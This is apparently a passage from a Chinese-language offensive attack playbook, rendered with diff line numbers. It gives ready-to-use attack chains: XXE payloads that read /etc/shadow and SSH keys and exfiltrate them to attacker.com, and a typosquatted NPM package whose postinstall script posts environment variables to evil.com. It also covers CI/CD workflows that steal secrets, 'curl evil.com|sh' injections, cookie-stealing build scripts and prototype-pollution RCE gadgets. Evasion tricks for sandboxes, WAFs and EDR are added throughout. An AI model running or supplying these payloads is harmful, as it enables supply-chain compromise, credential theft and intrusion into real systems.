3984
|
+
```
|
|
3985
|
+
|
|
3986
|
+
**WAF/EDR 绕过变体:**
|
|
3987
|
+
|
|
3988
|
+
**1. 编码绕过**
|
|
3989
|
+
_编码绕过_
|
|
3990
|
+
```
|
|
3991
|
+
使用Base64或其他编码绕过命令过滤
|
|
3992
|
+
```
|
|
3993
|
+
|
|
3994
|
+
---
|
|
3995
|
+
|
|
3996
|
+
### XXE文件读取 `xxe-file-read`
|
|
3997
|
+
利用XXE读取服务器文件
|
|
3998
|
+
子类:**文件读取** · tags: `xxe` `file` `read` `lfi`
|
|
3999
|
+
|
|
4000
|
+
**前置条件:** 存在XXE漏洞;有文件读取权限
|
|
4001
|
+
|
|
4002
|
+
**攻击链:**
|
|
4003
|
+
|
|
4004
|
+
**1. 1. 读取Linux文件** _[linux]_
|
|
4005
|
+
_读取Linux系统文件_
|
|
4006
|
+
```
|
|
4007
|
+
<?xml version="1.0"?>
|
|
4008
|
+
<!DOCTYPE foo [
|
|
4009
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
4010
|
+
]>
|
|
4011
|
+
<foo>&xxe;</foo>
|
|
4012
|
+
|
|
4013
|
+
# 其他敏感文件
|
|
4014
|
+
file:///etc/shadow
|
|
4015
|
+
file:///etc/hosts
|
|
4016
|
+
file:///root/.ssh/id_rsa
|
|
4017
|
+
file:///proc/self/environ
|
|
4018
|
+
```
|
|
4019
|
+
|
|
4020
|
+
**2. 2. 读取Windows文件** _[windows]_
|
|
4021
|
+
_读取Windows系统文件_
|
|
4022
|
+
```
|
|
4023
|
+
<?xml version="1.0"?>
|
|
4024
|
+
<!DOCTYPE foo [
|
|
4025
|
+
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
|
|
4026
|
+
]>
|
|
4027
|
+
<foo>&xxe;</foo>
|
|
4028
|
+
|
|
4029
|
+
# 其他敏感文件
|
|
4030
|
+
file:///c:/windows/system32/config/sam
|
|
4031
|
+
file:///c:/users/administrator/.ssh/id_rsa
|
|
4032
|
+
```
|
|
4033
|
+
|
|
4034
|
+
**3. 3. 读取Web配置**
|
|
4035
|
+
_读取Web应用配置_
|
|
4036
|
+
```
|
|
4037
|
+
<?xml version="1.0"?>
|
|
4038
|
+
<!DOCTYPE foo [
|
|
4039
|
+
<!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
|
|
4040
|
+
]>
|
|
4041
|
+
<foo>&xxe;</foo>
|
|
4042
|
+
|
|
4043
|
+
# 常见配置文件
|
|
4044
|
+
file:///var/www/html/wp-config.php
|
|
4045
|
+
file:///app/.env
|
|
4046
|
+
file:///app/config/database.yml
|
|
4047
|
+
```
|
|
4048
|
+
|
|
4049
|
+
**4. 4. 读取源代码**
|
|
4050
|
+
_使用PHP Filter读取源码_
|
|
4051
|
+
```
|
|
4052
|
+
<?xml version="1.0"?>
|
|
4053
|
+
<!DOCTYPE foo [
|
|
4054
|
+
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
|
|
4055
|
+
]>
|
|
4056
|
+
<foo>&xxe;</foo>
|
|
4057
|
+
```
|
|
4058
|
+
|
|
4059
|
+
**WAF/EDR 绕过变体:**
|
|
4060
|
+
|
|
4061
|
+
**1. 使用参数实体**
|
|
4062
|
+
_参数实体绕过_
|
|
4063
|
+
```
|
|
4064
|
+
<?xml version="1.0"?>
|
|
4065
|
+
<!DOCTYPE foo [
|
|
4066
|
+
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
|
|
4067
|
+
<!ENTITY bar "%xxe;">
|
|
4068
|
+
]>
|
|
4069
|
+
<foo>&bar;</foo>
|
|
4070
|
+
```
|
|
4071
|
+
|
|
4072
|
+
---
|
|
4073
|
+
|
|
4074
|
+
### XXE外部DTD利用 `xxe-dtd`
|
|
4075
|
+
利用外部DTD文件进行XXE攻击
|
|
4076
|
+
子类:**外部DTD** · tags: `xxe` `dtd` `external` `xml`
|
|
4077
|
+
|
|
4078
|
+
**前置条件:** 存在XXE漏洞;可访问外部DTD
|
|
4079
|
+
|
|
4080
|
+
**攻击链:**
|
|
4081
|
+
|
|
4082
|
+
**1. 1. 托管恶意DTD**
|
|
4083
|
+
_创建恶意DTD文件_
|
|
4084
|
+
```
|
|
4085
|
+
# 在攻击者服务器创建evil.dtd
|
|
4086
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
4087
|
+
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>">
|
|
4088
|
+
%eval;
|
|
4089
|
+
%exfil;
|
|
4090
|
+
```
|
|
4091
|
+
|
|
4092
|
+
**2. 2. 引用外部DTD**
|
|
4093
|
+
_引用外部DTD文件_
|
|
4094
|
+
```
|
|
4095
|
+
<?xml version="1.0"?>
|
|
4096
|
+
<!DOCTYPE foo [
|
|
4097
|
+
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
|
|
4098
|
+
%xxe;
|
|
4099
|
+
]>
|
|
4100
|
+
<foo>test</foo>
|
|
4101
|
+
```
|
|
4102
|
+
|
|
4103
|
+
**3. 3. 多步骤外带**
|
|
4104
|
+
_处理特殊字符_
|
|
4105
|
+
```
|
|
4106
|
+
# evil.dtd - 多步骤外带
|
|
4107
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
4108
|
+
<!ENTITY % start "<![CDATA[">
|
|
4109
|
+
<!ENTITY % end "]]>">
|
|
4110
|
+
<!ENTITY % all "%start;%file;%end;">
|
|
4111
|
+
```
|
|
4112
|
+
|
|
4113
|
+
**4. 4. 错误消息泄露**
|
|
4114
|
+
_错误消息外带_
|
|
4115
|
+
```
|
|
4116
|
+
# 利用错误消息泄露数据
|
|
4117
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
4118
|
+
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
|
|
4119
|
+
%eval;
|
|
4120
|
+
%error;
|
|
4121
|
+
|
|
4122
|
+
# 错误消息中会包含文件内容
|
|
4123
|
+
```
|
|
4124
|
+
|
|
4125
|
+
**WAF/EDR 绕过变体:**
|
|
4126
|
+
|
|
4127
|
+
**1. 使用HTTPS**
|
|
4128
|
+
_HTTPS绕过_
|
|
4129
|
+
```
|
|
4130
|
+
使用HTTPS托管DTD文件绕过HTTP过滤
|
|
4131
|
+
```
|
|
4132
|
+
|
|
4133
|
+
---
|
|
4134
|
+
|
|
4135
|
+
### XLSX文件XXE `xxe-xlsx`
|
|
4136
|
+
利用XLSX文件进行XXE攻击
|
|
4137
|
+
子类:**XLSX文件XXE** · tags: `xxe` `xlsx` `excel` `office`
|
|
4138
|
+
|
|
4139
|
+
**前置条件:** 应用解析XLSX文件;存在XXE漏洞
|
|
4140
|
+
|
|
4141
|
+
**攻击链:**
|
|
4142
|
+
|
|
4143
|
+
**1. 1. 解压XLSX文件**
|
|
4144
|
+
_解压XLSX文件_
|
|
4145
|
+
```
|
|
4146
|
+
# XLSX本质是ZIP文件
|
|
4147
|
+
unzip spreadsheet.xlsx
|
|
4148
|
+
|
|
4149
|
+
# 主要文件结构
|
|
4150
|
+
xl/workbook.xml
|
|
4151
|
+
xl/worksheets/sheet1.xml
|
|
4152
|
+
xl/sharedStrings.xml
|
|
4153
|
+
[Content_Types].xml
|
|
4154
|
+
```
|
|
4155
|
+
|
|
4156
|
+
**2. 2. 注入XXE Payload**
|
|
4157
|
+
```
|
|
4158
|
+
# 修改xl/workbook.xml
|
|
4159
|
+
<?xml version="1.0"?>
|
|
4160
|
+
<!DOCTYPE foo [
|
|
4161
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
4162
|
+
]>
|
|
4163
|
+
<workbook xmlns="...">
|
|
4164
|
+
&xxe;
|
|
4165
|
+
</workbook>
|
|
4166
|
+
```
|
|
4167
|
+
|
|
4168
|
+
**WAF/EDR 绕过变体:**
|
|
4169
|
+
|
|
4170
|
+
**1. 修改Content_Types**
|
|
4171
|
+
_修改Content_Types_
|
|
4172
|
+
```
|
|
4173
|
+
修改[Content_Types].xml注入XXE
|
|
4174
|
+
```
|
|
4175
|
+
|
|
4176
|
+
---
|
|
4177
|
+
|
|
4178
|
+
### DOCX文件XXE `xxe-docx`
|
|
4179
|
+
利用DOCX文件进行XXE攻击
|
|
4180
|
+
子类:**DOCX文件XXE** · tags: `xxe` `docx` `word` `office`
|
|
4181
|
+
|
|
4182
|
+
**前置条件:** 应用解析DOCX文件;存在XXE漏洞
|
|
4183
|
+
|
|
4184
|
+
**攻击链:**
|
|
4185
|
+
|
|
4186
|
+
**1. 1. 解压DOCX文件**
|
|
4187
|
+
_解压DOCX文件_
|
|
4188
|
+
```
|
|
4189
|
+
# DOCX本质是ZIP文件
|
|
4190
|
+
unzip document.docx
|
|
4191
|
+
|
|
4192
|
+
# 主要文件结构
|
|
4193
|
+
word/document.xml
|
|
4194
|
+
word/_rels/document.xml.rels
|
|
4195
|
+
[Content_Types].xml
|
|
4196
|
+
```
|
|
4197
|
+
|
|
4198
|
+
**2. 2. 注入XXE Payload**
|
|
4199
|
+
```
|
|
4200
|
+
# 修改word/document.xml
|
|
4201
|
+
<?xml version="1.0"?>
|
|
4202
|
+
<!DOCTYPE foo [
|
|
4203
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
4204
|
+
]>
|
|
4205
|
+
<w:document xmlns:w="...">
|
|
4206
|
+
<w:p><w:r><w:t>&xxe;</w:t></w:r></w:p>
|
|
4207
|
+
</w:document>
|
|
4208
|
+
```
|
|
4209
|
+
|
|
4210
|
+
**WAF/EDR 绕过变体:**
|
|
4211
|
+
|
|
4212
|
+
**1. 修改关系文件**
|
|
4213
|
+
_修改关系文件_
|
|
4214
|
+
```
|
|
4215
|
+
修改_rels/.rels或document.xml.rels注入XXE
|
|
4216
|
+
```
|
|
4217
|
+
|
|
4218
|
+
---
|
|
4219
|
+
|
|
4220
|
+
### · 供应链攻击
|
|
4221
|
+
|
|
4222
|
+
### NPM包名仿冒(Typosquatting) `supply-typosquat`
|
|
4223
|
+
通过注册与流行NPM包名高度相似的恶意包(如lodash→1odash, colors→co1ors),诱导开发者误安装。恶意包在install/postinstall钩子中执行反弹Shell、窃取环境变量或植入后门。
|
|
4224
|
+
子类:**包管理器投毒** · tags: `供应链` `NPM` `Typosquatting` `包投毒` `postinstall`
|
|
4225
|
+
|
|
4226
|
+
**前置条件:** NPM账号;了解目标项目依赖;恶意包基础设施
|
|
4227
|
+
|
|
4228
|
+
**攻击链:**
|
|
4229
|
+
|
|
4230
|
+
**1. 1. 侦察目标依赖**
|
|
4231
|
+
_识别目标项目依赖的流行NPM包作为仿冒目标_
|
|
4232
|
+
```
|
|
4233
|
+
# 分析目标项目的package.json
|
|
4234
|
+
curl -s "https://raw.githubusercontent.com/{ORG}/{REPO}/main/package.json" | jq '.dependencies, .devDependencies'
|
|
4235
|
+
|
|
4236
|
+
# 查询高下载量包
|
|
4237
|
+
npm search lodash --json | jq '.[0:5] | .[] | {name, description, version}'
|
|
4238
|
+
```
|
|
4239
|
+
|
|
4240
|
+
**2. 2. 生成仿冒包名**
|
|
4241
|
+
_生成与目标包名相似的多种变体并检查可用性_
|
|
4242
|
+
```
|
|
4243
|
+
# 常见Typosquatting变体生成
|
|
4244
|
+
original="lodash"
|
|
4245
|
+
echo "${original}" | python3 -c "
|
|
4246
|
+
import sys
|
|
4247
|
+
name=sys.stdin.read().strip()
|
|
4248
|
+
# 字符替换: l->1, o->0
|
|
4249
|
+
print(name.replace('l','1'))
|
|
4250
|
+
# 连字符变体
|
|
4251
|
+
print(name+'-utils')
|
|
4252
|
+
print(name+'-js')
|
|
4253
|
+
# 缺字/多字
|
|
4254
|
+
print(name[:-1])
|
|
4255
|
+
print(name+'s')
|
|
4256
|
+
"
|
|
4257
|
+
|
|
4258
|
+
# 检查NPM可用性
|
|
4259
|
+
for pkg in 1odash lodash-utils lodash-js lodas lodashs; do
|
|
4260
|
+
npm view $pkg 2>/dev/null && echo "$pkg: TAKEN" || echo "$pkg: AVAILABLE"
|
|
4261
|
+
done
|
|
4262
|
+
```
|
|
4263
|
+
|
|
4264
|
+
**3. 3. 构造恶意包**
|
|
4265
|
+
_创建伪装成正常工具库的恶意NPM包,利用install钩子执行恶意代码_
|
|
4266
|
+
```
|
|
4267
|
+
# package.json中植入postinstall钩子
|
|
4268
|
+
{
|
|
4269
|
+
"name": "1odash",
|
|
4270
|
+
"version": "1.0.0",
|
|
4271
|
+
"description": "Utility library for JavaScript",
|
|
4272
|
+
"scripts": {
|
|
4273
|
+
"preinstall": "node scripts/setup.js",
|
|
4274
|
+
"postinstall": "node scripts/telemetry.js"
|
|
4275
|
+
}
|
|
4276
|
+
}
|
|
4277
|
+
|
|
4278
|
+
# scripts/telemetry.js —— 窃取环境变量
|
|
4279
|
+
const https = require('https');
|
|
4280
|
+
const data = JSON.stringify({
|
|
4281
|
+
env: process.env,
|
|
4282
|
+
cwd: process.cwd(),
|
|
4283
|
+
hostname: require('os').hostname()
|
|
4284
|
+
});
|
|
4285
|
+
https.request({hostname:'evil.com',path:'/collect',method:'POST',headers:{'Content-Type':'application/json'}}, ()=>{}).end(data);
|
|
4286
|
+
```
|
|
4287
|
+
|
|
4288
|
+
**4. 4. 检测与取证**
|
|
4289
|
+
_审计当前项目依赖的安全性,识别可疑install钩子和异常包_
|
|
4290
|
+
```
|
|
4291
|
+
# 审计项目依赖安全
|
|
4292
|
+
npm audit --json | jq '.vulnerabilities | to_entries[] | {name: .key, severity: .value.severity}'
|
|
4293
|
+
|
|
4294
|
+
# 检查postinstall钩子
|
|
4295
|
+
find node_modules -name "package.json" -exec grep -l "postinstall\|preinstall" {} \;
|
|
4296
|
+
|
|
4297
|
+
# 对比lock文件完整性
|
|
4298
|
+
npm ci --dry-run 2>&1 | grep -i "warn\|error"
|
|
4299
|
+
|
|
4300
|
+
# Socket.dev检测恶意包
|
|
4301
|
+
npx socket info lodash
|
|
4302
|
+
```
|
|
4303
|
+
|
|
4304
|
+
**WAF/EDR 绕过变体:**
|
|
4305
|
+
|
|
4306
|
+
**1. 绕过NPM包安全检测**
|
|
4307
|
+
_利用延迟执行、代码混淆和环境检测绕过自动化安全扫描_
|
|
4308
|
+
```
|
|
4309
|
+
# 延迟执行避开沙箱检测
|
|
4310
|
+
setTimeout(() => {
|
|
4311
|
+
// 恶意代码在30秒后执行,绕过自动化分析超时
|
|
4312
|
+
require('child_process').exec('curl evil.com/c | sh') # security-allowlist: curl-pipe-bash
|
|
4313
|
+
}, 30000);
|
|
4314
|
+
|
|
4315
|
+
# 代码混淆
|
|
4316
|
+
const _0x4f2a=['\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
|
|
4317
|
+
require(_0x4f2a[0]).exec('...');
|
|
4318
|
+
|
|
4319
|
+
# 环境检测——仅在CI/CD中触发
|
|
4320
|
+
if(process.env.CI || process.env.GITHUB_ACTIONS) {
|
|
4321
|
+
// 仅攻击CI/CD环境
|
|
4322
|
+
}
|
|
4323
|
+
```
|
|
4324
|
+
|
|
4325
|
+
---
|
|
4326
|
+
|
|
4327
|
+
### CI/CD管道投毒 `supply-ci-poison`
|
|
4328
|
+
通过恶意Pull Request、Actions注入或构建脚本篡改来攻击CI/CD管道。攻击者可窃取构建密钥、投毒构建产物或在部署流程中植入后门代码。
|
|
4329
|
+
子类:**CI/CD攻击** · tags: `供应链` `CI/CD` `GitHub Actions` `Jenkins` `Pipeline`
|
|
4330
|
+
|
|
4331
|
+
**前置条件:** 目标使用公开CI/CD;可提交PR或Fork
|
|
4332
|
+
|
|
4333
|
+
**攻击链:**
|
|
4334
|
+
|
|
4335
|
+
**1. 1. 识别CI/CD配置**
|
|
4336
|
+
_分析目标项目的CI/CD配置文件和密钥使用情况_
|
|
4337
|
+
```
|
|
4338
|
+
# 搜索GitHub Actions配置
|
|
4339
|
+
curl -s "https://api.github.com/repos/{ORG}/{REPO}/contents/.github/workflows" \
|
|
4340
|
+
-H "Authorization: token {GITHUB_TOKEN}" | jq '.[].name'
|
|
4341
|
+
|
|
4342
|
+
# 分析工作流中的密钥使用
|
|
4343
|
+
curl -s "https://raw.githubusercontent.com/{ORG}/{REPO}/main/.github/workflows/ci.yml" | grep -E "secrets\.|\$\{\{.*\}\}"
|
|
4344
|
+
```
|
|
4345
|
+
|
|
4346
|
+
**2. 2. PR触发的工作流注入**
|
|
4347
|
+
_利用pull_request_target事件在主仓上下文中执行PR代码,窃取Secrets_
|
|
4348
|
+
```
|
|
4349
|
+
# 恶意 .github/workflows/pr-check.yml
|
|
4350
|
+
name: PR Check
|
|
4351
|
+
on:
|
|
4352
|
+
pull_request_target: # 危险:在主仓上下文执行
|
|
4353
|
+
types: [opened, synchronize]
|
|
4354
|
+
jobs:
|
|
4355
|
+
check:
|
|
4356
|
+
runs-on: ubuntu-latest
|
|
4357
|
+
steps:
|
|
4358
|
+
- uses: actions/checkout@v4
|
|
4359
|
+
with:
|
|
4360
|
+
ref: ${{ github.event.pull_request.head.sha }}
|
|
4361
|
+
- run: |
|
|
4362
|
+
# PR中的代码在主仓权限下执行
|
|
4363
|
+
echo ${{ secrets.DEPLOY_KEY }} | base64 -w0
|
|
4364
|
+
curl -X POST -d @<(env) https://evil.com/collect
|
|
4365
|
+
```
|
|
4366
|
+
|
|
4367
|
+
**3. 3. Actions表达式注入**
|
|
4368
|
+
_通过PR标题/Issue评论注入命令到GitHub Actions的run步骤中_
|
|
4369
|
+
```
|
|
4370
|
+
# PR标题注入
|
|
4371
|
+
# 创建标题为以下内容的PR:
|
|
4372
|
+
# test`curl evil.com/s|sh` # security-allowlist: curl-pipe-bash
|
|
4373
|
+
|
|
4374
|
+
# 工作流中若有如下写法则存在注入:
|
|
4375
|
+
run: echo "Checking PR: ${{ github.event.pull_request.title }}"
|
|
4376
|
+
|
|
4377
|
+
# Issue评论注入
|
|
4378
|
+
# 评论内容:
|
|
4379
|
+
# "); curl evil.com/steal?token=$GITHUB_TOKEN #
|
|
4380
|
+
|
|
4381
|
+
# 注入点搜索
|
|
4382
|
+
grep -rn '\${{.*github\.event\.' .github/workflows/
|
|
4383
|
+
```
|
|
4384
|
+
|
|
4385
|
+
**4. 4. 构建产物投毒**
|
|
4386
|
+
_在构建过程中向产出物注入恶意代码(如Cookie窃取脚本)_
|
|
4387
|
+
```
|
|
4388
|
+
# 篡改构建脚本注入后门
|
|
4389
|
+
# 修改 package.json build脚本
|
|
4390
|
+
"scripts": {
|
|
4391
|
+
"build": "react-scripts build && node inject.js"
|
|
4392
|
+
}
|
|
4393
|
+
|
|
4394
|
+
# inject.js——在构建产物中注入代码
|
|
4395
|
+
const fs = require('fs');
|
|
4396
|
+
const buildDir = './build/static/js';
|
|
4397
|
+
fs.readdirSync(buildDir).filter(f=>f.endsWith('.js')).forEach(f => {
|
|
4398
|
+
let code = fs.readFileSync(`${buildDir}/${f}`, 'utf8');
|
|
4399
|
+
code += '\n;fetch("https://evil.com/log?c="+document.cookie);';
|
|
4400
|
+
fs.writeFileSync(`${buildDir}/${f}`, code);
|
|
4401
|
+
});
|
|
4402
|
+
```
|
|
4403
|
+
|
|
4404
|
+
**WAF/EDR 绕过变体:**
|
|
4405
|
+
|
|
4406
|
+
**1. 绕过GitHub Actions安全限制**
|
|
4407
|
+
_通过间接触发、第三方Action和Python外带绕过日志审计和安全策略_
|
|
4408
|
+
```
|
|
4409
|
+
# 使用workflow_dispatch间接触发
|
|
4410
|
+
# 避免直接在PR中暴露恶意代码
|
|
4411
|
+
on:
|
|
4412
|
+
workflow_dispatch:
|
|
4413
|
+
inputs:
|
|
4414
|
+
cmd:
|
|
4415
|
+
description: "Command"
|
|
4416
|
+
required: true
|
|
4417
|
+
steps:
|
|
4418
|
+
- run: ${{ github.event.inputs.cmd }}
|
|
4419
|
+
|
|
4420
|
+
# 使用第三方Action作为跳板
|
|
4421
|
+
- uses: malicious-org/innocent-name@main
|
|
4422
|
+
# 恶意Action内部窃取secrets
|
|
4423
|
+
|
|
4424
|
+
# 环境变量泄露——避免直接echo
|
|
4425
|
+
- run: |
|
|
4426
|
+
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))"
|
|
4427
|
+
```
|
|
4428
|
+
|
|
4429
|
+
---
|
|
4430
|
+
|
|
4431
|
+
### 依赖混淆攻击 `supply-dependency-confusion`
|
|
4432
|
+
利用包管理器在公共注册表和私有注册表之间的解析优先级漏洞。当企业使用内部包名时,攻击者在公共NPM/PyPI注册更高版本号的同名包,包管理器会优先安装公共高版本包从而执行恶意代码。
|
|
4433
|
+
子类:**依赖混淆** · tags: `供应链` `依赖混淆` `NPM` `PyPI` `Dependency Confusion`
|
|
4434
|
+
|
|
4435
|
+
**前置条件:** 已知目标内部包名;公共注册表账号
|
|
4436
|
+
|
|
4437
|
+
**攻击链:**
|
|
4438
|
+
|
|
4439
|
+
**1. 1. 发现内部包名**
|
|
4440
|
+
_从前端代码、泄露的lock文件和错误信息中发现目标使用的内部包名_
|
|
4441
|
+
```
|
|
4442
|
+
# 从JavaScript源码中提取import路径
|
|
4443
|
+
curl -s "https://{TARGET}/static/js/main.js" | grep -oP "require\([\x27\x22]@[a-zA-Z0-9_-]+/[a-zA-Z0-9_-]+[\x27\x22]\)" | sort -u
|
|
4444
|
+
|
|
4445
|
+
# 从package-lock.json泄露中搜索
|
|
4446
|
+
curl -s "https://{TARGET}/package-lock.json" 2>/dev/null | jq 'keys'
|
|
4447
|
+
|
|
4448
|
+
# GitHub搜索私有包名
|
|
4449
|
+
# 搜索: "@internal-company/" site:github.com
|
|
4450
|
+
|
|
4451
|
+
# 从错误页面/源码注释发现
|
|
4452
|
+
curl -s "https://{TARGET}" | grep -oE "@[a-zA-Z0-9_-]+/[a-zA-Z0-9_-]+"
|
|
4453
|
+
```
|
|
4454
|
+
|
|
4455
|
+
**2. 2. 在公共注册表注册同名包**
|
|
4456
|
+
_在NPM公共注册表发布与目标内部包同名但版本号更高的包_
|
|
4457
|
+
```
|
|
4458
|
+
# 创建与内部包同名的公共包
|
|
4459
|
+
mkdir dependency-confusion-test && cd dependency-confusion-test
|
|
4460
|
+
npm init -y
|
|
4461
|
+
# 设置超高版本号
|
|
4462
|
+
npm version 99.0.0
|
|
4463
|
+
|
|
4464
|
+
# 添加无害的检测代码(非恶意)
|
|
4465
|
+
cat > index.js << 'EOF'
|
|
4466
|
+
const os = require("os");
|
|
4467
|
+
const dns = require("dns");
|
|
4468
|
+
const pkg = require("./package.json");
|
|
4469
|
+
// 仅DNS回调确认安装——无数据外泄
|
|
4470
|
+
dns.resolve(`${pkg.name}.${os.hostname()}.dep-test.example.com`, ()=>{});
|
|
4471
|
+
EOF
|
|
4472
|
+
|
|
4473
|
+
npm publish --access public
|
|
4474
|
+
```
|
|
4475
|
+
|
|
4476
|
+
**3. 3. 监控DNS回调确认命中**
|
|
4477
|
+
_监控DNS/HTTP回调确认目标环境安装了公共注册表上的恶意包_
|
|
4478
|
+
```
|
|
4479
|
+
# 使用Burp Collaborator或自建DNS服务器监控
|
|
4480
|
+
# Interactsh监控
|
|
4481
|
+
interactsh-client -v 2>&1 | grep "dep-test"
|
|
4482
|
+
|
|
4483
|
+
# 自建DNS记录
|
|
4484
|
+
sudo tcpdump -i eth0 port 53 -l | grep "dep-test"
|
|
4485
|
+
|
|
4486
|
+
# 也可通过HTTP回调
|
|
4487
|
+
python3 -m http.server 8080 &
|
|
4488
|
+
# 等待目标CI/CD管道安装包时触发回调
|
|
4489
|
+
```
|
|
4490
|
+
|
|
4491
|
+
**4. 4. 影响评估与报告**
|
|
4492
|
+
_验证包管理器的解析优先级行为并评估影响范围_
|
|
4493
|
+
```
|
|
4494
|
+
# 验证受影响的包管理器行为
|
|
4495
|
+
# NPM: 默认优先公共高版本
|
|
4496
|
+
npm install @target-corp/utils --registry https://registry.npmjs.org -dd 2>&1 | grep "resolved"
|
|
4497
|
+
|
|
4498
|
+
# Python/pip同理
|
|
4499
|
+
pip install target-corp-utils --index-url https://pypi.org/simple/ -v 2>&1 | grep "Downloading"
|
|
4500
|
+
|
|
4501
|
+
# 检查是否配置了registry scope
|
|
4502
|
+
npm config get @target-corp:registry
|
|
4503
|
+
```
|
|
4504
|
+
|
|
4505
|
+
**WAF/EDR 绕过变体:**
|
|
4506
|
+
|
|
4507
|
+
**1. 绕过包名注册限制**
|
|
4508
|
+
_利用unscoped包名、跨包管理器和prerelease版本扩大攻击面_
|
|
4509
|
+
```
|
|
4510
|
+
# 如果目标使用unscoped包名
|
|
4511
|
+
# 直接注册同名公共包(无@scope前缀更容易混淆)
|
|
4512
|
+
|
|
4513
|
+
# 跨包管理器攻击
|
|
4514
|
+
# 目标用NPM但也尝试PyPI
|
|
4515
|
+
pip install target-internal-lib # pip没有scope概念
|
|
4516
|
+
|
|
4517
|
+
# 使用prerelease标签
|
|
4518
|
+
npm version 99.0.0-alpha.1
|
|
4519
|
+
# 某些配置会匹配 >=1.0.0 范围包括prerelease
|
|
4520
|
+
```
|
|
4521
|
+
|
|
4522
|
+
---
|
|
4523
|
+
|
|
4524
|
+
### · 原型链污染
|
|
4525
|
+
|
|
4526
|
+
### 服务端原型链污染到RCE `proto-server-rce`
|
|
4527
|
+
通过污染JavaScript对象原型链(__proto__/constructor.prototype)注入恶意属性,在Node.js服务端利用child_process或EJS/Pug等模板引擎的gadget链实现远程代码执行。
|
|
4528
|
+
子类:**服务端利用** · tags: `原型链` `Prototype Pollution` `RCE` `Node.js` `__proto__`
|
|
4529
|
+
|
|
4530
|
+
**前置条件:** 目标使用Node.js;存在JSON合并/深拷贝操作;可控JSON输入
|
|
4531
|
+
|
|
4532
|
+
**攻击链:**
|
|
4533
|
+
|
|
4534
|
+
**1. 1. 检测原型链污染点**
|
|
4535
|
+
_通过__proto__和constructor.prototype两种方式测试是否存在原型链污染_
|
|
4536
|
+
```
|
|
4537
|
+
# 发送__proto__污染测试
|
|
4538
|
+
curl -X POST "https://{TARGET}/api/update" \
|
|
4539
|
+
-H "Content-Type: application/json" \
|
|
4540
|
+
-d '{"__proto__": {"polluted": "test123"}}'
|
|
4541
|
+
|
|
4542
|
+
# constructor方式
|
|
4543
|
+
curl -X POST "https://{TARGET}/api/merge" \
|
|
4544
|
+
-H "Content-Type: application/json" \
|
|
4545
|
+
-d '{"constructor": {"prototype": {"polluted": "test123"}}}'
|
|
4546
|
+
|
|
4547
|
+
# 验证污染是否成功(通过报错/行为变化)
|
|
4548
|
+
curl "https://{TARGET}/api/debug" | grep "polluted"
|
|
4549
|
+
```
|
|
4550
|
+
|
|
4551
|
+
**2. 2. EJS模板引擎RCE Gadget**
|
|
4552
|
+
_利用EJS模板引擎的outputFunctionName/escapeFunction gadget实现RCE_
|
|
4553
|
+
```
|
|
4554
|
+
# EJS RCE gadget——污染outputFunctionName
|
|
4555
|
+
curl -X POST "https://{TARGET}/api/settings" \
|
|
4556
|
+
-H "Content-Type: application/json" \
|
|
4557
|
+
-d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"id\");x"}}'
|
|
4558
|
+
|
|
4559
|
+
# 触发模板渲染
|
|
4560
|
+
curl "https://{TARGET}/dashboard"
|
|
4561
|
+
|
|
4562
|
+
# EJS client参数RCE
|
|
4563
|
+
curl -X POST "https://{TARGET}/api/config" \
|
|
4564
|
+
-H "Content-Type: application/json" \
|
|
4565
|
+
-d '{"__proto__": {"client": true, "escapeFunction": "1;return process.mainModule.require(\"child_process\").execSync(\"id\")"}}'
|
|
4566
|
+
```
|
|
4567
|
+
|
|
4568
|
+
**3. 3. Pug模板引擎RCE Gadget**
|
|
4569
|
+
_利用Pug和Handlebars模板引擎的已知gadget链实现代码执行_
|
|
4570
|
+
```
|
|
4571
|
+
# Pug/Jade RCE gadget——污染block属性
|
|
4572
|
+
curl -X POST "https://{TARGET}/api/profile" \
|
|
4573
|
+
-H "Content-Type: application/json" \
|
|
4574
|
+
-d '{"__proto__": {"block": {"type": "Text", "val": "x]));process.mainModule.require(\"child_process\").execSync(\"curl evil.com/rce\");//"}}}'
|
|
4575
|
+
|
|
4576
|
+
# Handlebars RCE gadget
|
|
4577
|
+
curl -X POST "https://{TARGET}/api/template" \
|
|
4578
|
+
-H "Content-Type: application/json" \
|
|
4579
|
+
-d '{"__proto__": {"allowedProtoMethods": {"__defineGetter__": true}, "allowedProtoProperties": {"__defineGetter__": true}}}'
|
|
4580
|
+
```
|
|
4581
|
+
|
|
4582
|
+
**4. 4. 通用DoS/信息泄露Gadget**
|
|
4583
|
+
_利用通用gadget造成DoS、状态码篡改、环境变量注入和任意文件读取_
|
|
4584
|
+
```
|
|
4585
|
+
# 污染toString造成异常
|
|
4586
|
+
{"__proto__": {"toString": null}}
|
|
4587
|
+
|
|
4588
|
+
# 污染status属性改变响应
|
|
4589
|
+
{"__proto__": {"status": 500}}
|
|
4590
|
+
|
|
4591
|
+
# 污染环境变量注入
|
|
4592
|
+
{"__proto__": {"env": {"NODE_OPTIONS": "--require /proc/self/environ"}}}
|
|
4593
|
+
|
|
4594
|
+
# 污染shell属性(配合child_process.exec)
|
|
4595
|
+
{"__proto__": {"shell": "/proc/self/exe", "argv0": "console.log(require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\"))//"}}}
|
|
4596
|
+
```
|
|
4597
|
+
|
|
4598
|
+
**WAF/EDR 绕过变体:**
|
|
4599
|
+
|
|
4600
|
+
**1. 绕过__proto__关键字过滤**
|
|
4601
|
+
_通过Unicode编码、constructor路径、嵌套对象和JSON5语法绕过__proto__过滤_
|
|
4602
|
+
```
|
|
4603
|
+
# Unicode编码
|
|
4604
